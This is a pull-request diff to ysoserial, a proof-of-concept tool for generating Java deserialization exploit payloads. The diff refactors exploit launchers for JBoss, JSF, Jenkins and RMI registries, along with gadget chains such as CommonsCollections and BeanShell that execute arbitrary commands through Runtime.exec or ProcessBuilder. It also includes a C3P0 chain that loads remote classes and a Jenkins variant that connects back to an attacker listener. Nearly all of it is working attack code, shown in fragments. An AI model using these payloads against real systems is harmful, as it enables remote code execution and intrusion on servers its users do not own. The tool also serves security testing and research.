Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@

# ysoserial

[![Join the chat at https://gitter.im/frohoff/ysoserial](https://badges.gitter.im/frohoff/ysoserial.svg)](https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

Expand Down
3 changes: 2 additions & 1 deletion src/main/java/ysoserial/GeneratePayload.java
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;

@SuppressWarnings("rawtypes")
public class GeneratePayload {
Expand All @@ -23,7 +24,7 @@ public static void main(final String[] args) {
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];
String[] command = Gadgets.removeFirst(1, args);

final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
Expand Down
7 changes: 5 additions & 2 deletions src/main/java/ysoserial/exploit/JBoss.java
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,7 @@
import org.xnio.ssl.XnioSsl;

import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;


/**
Expand Down Expand Up @@ -100,13 +101,15 @@ public class JBoss {
public static void main ( String[] args ) {

if ( args.length < 3 ) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>");
System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>...<pyaload_arg>");
System.exit(-1);
}

URI u = URI.create(args[ 0 ]);

final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String[] payloadArgs = Gadgets.removeFirst(3, args);

final Object payloadObject = Utils.makePayloadObject(args[1], payloadArgs);

String username = null;
String password = null;
Expand Down
7 changes: 4 additions & 3 deletions src/main/java/ysoserial/exploit/JRMPClient.java
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@

import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;


/**
Expand All @@ -35,11 +36,11 @@ public class JRMPClient {

public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>...<payload_args>");
System.exit(-1);
}

Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String[] payloadArgs = Gadgets.removeFirst(3, args);
Object payloadObject = Utils.makePayloadObject(args[2], payloadArgs);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
Expand Down
6 changes: 4 additions & 2 deletions src/main/java/ysoserial/exploit/JRMPListener.java
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;


Expand Down Expand Up @@ -104,12 +105,13 @@ public void close () {
public static final void main ( final String[] args ) {

if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>..<payload_arg>");
System.exit(-1);
return;
}

final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
String[] payloadArgs = Gadgets.removeFirst(2, args);
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], payloadArgs);

try {
int port = Integer.parseInt(args[ 0 ]);
Expand Down
7 changes: 4 additions & 3 deletions src/main/java/ysoserial/exploit/JSF.java
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
import org.apache.commons.codec.binary.Base64;

import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;


/**
Expand All @@ -37,11 +38,11 @@ public class JSF {
public static void main ( String[] args ) {

if ( args.length < 3 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>..<payload_args>");
System.exit(-1);
}

final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
String[] payloadArgs = Gadgets.removeFirst(2, args);
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], payloadArgs);

try {
URL u = new URL(args[ 0 ]);
Expand Down
8 changes: 5 additions & 3 deletions src/main/java/ysoserial/exploit/JenkinsCLI.java
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,7 @@
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;

/**
* Jenkins CLI client
Expand All @@ -40,11 +41,12 @@
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <payload_arg>...<pyaload_arg>");
System.exit(-1);
}

final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String[] payloadArgs = Gadgets.removeFirst(2, args);

final Object payloadObject = Utils.makePayloadObject(args[1], payloadArgs);

String jenkinsUrl = args[ 0 ];
Channel c = null;
Expand Down
13 changes: 7 additions & 6 deletions src/main/java/ysoserial/exploit/JenkinsListener.java
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@
import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;


Expand Down Expand Up @@ -53,7 +54,7 @@ public class JenkinsListener {
public static final void main ( final String[] args ) {

if ( args.length < 3 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <payload_type> <payload_arg>...<payload_arg>");
System.exit(-1);
}

Expand All @@ -77,7 +78,7 @@ public static final void main ( final String[] args ) {

System.err.println("* JarLoader oid is " + oid);

Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Object uro = new JRMPListener().getObject(new String[]{String.valueOf(jrmpPort)});

Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");

Expand All @@ -92,8 +93,8 @@ public static final void main ( final String[] args ) {
// -9046794842107247609]]

System.err.println(e.getMessage());

parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
String[] payloadArgs = Gadgets.removeFirst(2, args);
parseObjIdAndExploit(payloadArgs, payloadClass, jrmpPort, isa, e);
}

}
Expand Down Expand Up @@ -158,11 +159,11 @@ private static void parseObjIdAndExploit ( final String[] args, final Class<? ex
long o2 = Long.parseLong(parts[ 1 ], 16);
short o3 = Short.parseShort(parts[ 2 ], 16);

exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args);
}


private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String[] payloadArg )
throws IOException {
Socket s = null;
DataOutputStream dos = null;
Expand Down
9 changes: 5 additions & 4 deletions src/main/java/ysoserial/exploit/JenkinsReverse.java
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
import ysoserial.exploit.JRMPListener;
import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;


/**
Expand All @@ -28,12 +29,12 @@ public class JenkinsReverse {

public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>");
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>..<payload_arg>");
System.exit(-1);
}


final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String[] payloadArgs = Gadgets.removeFirst(2, args);
final Object payloadObject = Utils.makePayloadObject(args[2], payloadArgs);
String myAddr = args[ 1 ];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[ 0 ];
Expand All @@ -47,7 +48,7 @@ public static final void main ( final String[] args ) {
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
Registry payload = new JRMPClient().getObject(new String[]{myAddr, Integer.toString(jrmpPort)});
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/exploit/RMIRegistryExploit.java
Original file line number Diff line number Diff line change
Expand Up @@ -23,18 +23,18 @@ public class RMIRegistryExploit {
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
final Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

final String[] command = Gadgets.removeFirst(3, args);
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}

public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
final String[] command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
Expand Down
9 changes: 7 additions & 2 deletions src/main/java/ysoserial/payloads/BeanShell1.java
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@
import java.util.PriorityQueue;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;

/**
Expand All @@ -19,9 +20,13 @@
@Dependencies({ "org.beanshell:bsh:2.0b5" })
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {

public PriorityQueue getObject(String command) throws Exception {
public PriorityQueue getObject(String[] command) throws Exception {
// BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
StringBuffer b = new StringBuffer();
b.append("compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{");
Gadgets.createStringArray(command, b);
b.append("}).start();return new Integer(1);}");
String payload = b.toString();

// Create Interpreter
Interpreter i = new Interpreter();
Expand Down
11 changes: 5 additions & 6 deletions src/main/java/ysoserial/payloads/C3P0.java
Original file line number Diff line number Diff line change
Expand Up @@ -41,14 +41,13 @@
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
public class C3P0 implements ObjectPayload<Object> {

public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
public Object getObject ( String[] command ) throws Exception {
if ( command.length != 2 ) {
throw new IllegalArgumentException("Command format is: <base_url> <classname>");
}

String url = command.substring(0, sep);
String className = command.substring(sep + 1);
String url = command[0];
String className = command[1];

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
Expand Down
2 changes: 1 addition & 1 deletion src/main/java/ysoserial/payloads/CommonsBeanutils1.java
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutils1 implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
Expand Down
5 changes: 2 additions & 3 deletions src/main/java/ysoserial/payloads/CommonsCollections1.java
Original file line number Diff line number Diff line change
Expand Up @@ -41,8 +41,7 @@
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
public InvocationHandler getObject(final String[] command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
Expand All @@ -56,7 +55,7 @@ public InvocationHandler getObject(final String command) throws Exception {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new Class[] { String.class }, command),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();
Expand Down
2 changes: 1 addition & 1 deletion src/main/java/ysoserial/payloads/CommonsCollections2.java
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
public Queue<Object> getObject(final String[] command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Expand Down
2 changes: 1 addition & 1 deletion src/main/java/ysoserial/payloads/CommonsCollections3.java
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);

// inert chain for setup
Expand Down
2 changes: 1 addition & 1 deletion src/main/java/ysoserial/payloads/CommonsCollections4.java
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
public Queue<Object> getObject(final String[] command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);
Expand Down
6 changes: 2 additions & 4 deletions src/main/java/ysoserial/payloads/CommonsCollections5.java
Original file line number Diff line number Diff line change
Expand Up @@ -42,13 +42,11 @@
Requires:
commons-collections
*/
@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
public BadAttributeValueExpException getObject(final String[] command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
Expand All @@ -62,7 +60,7 @@ public BadAttributeValueExpException getObject(final String command) throws Exce
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new Class[] { String.class }, command),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();
Expand Down
6 changes: 2 additions & 4 deletions src/main/java/ysoserial/payloads/FileUpload1.java
Original file line number Diff line number Diff line change
Expand Up @@ -42,9 +42,7 @@
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {

public DiskFileItem getObject ( String command ) throws Exception {

String[] parts = command.split(":");
public DiskFileItem getObject ( String[] parts ) throws Exception {

if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
Expand All @@ -62,7 +60,7 @@ else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
throw new IllegalArgumentException("Unsupported command " + parts + " " + Arrays.toString(parts));
}
}

Expand Down
Loading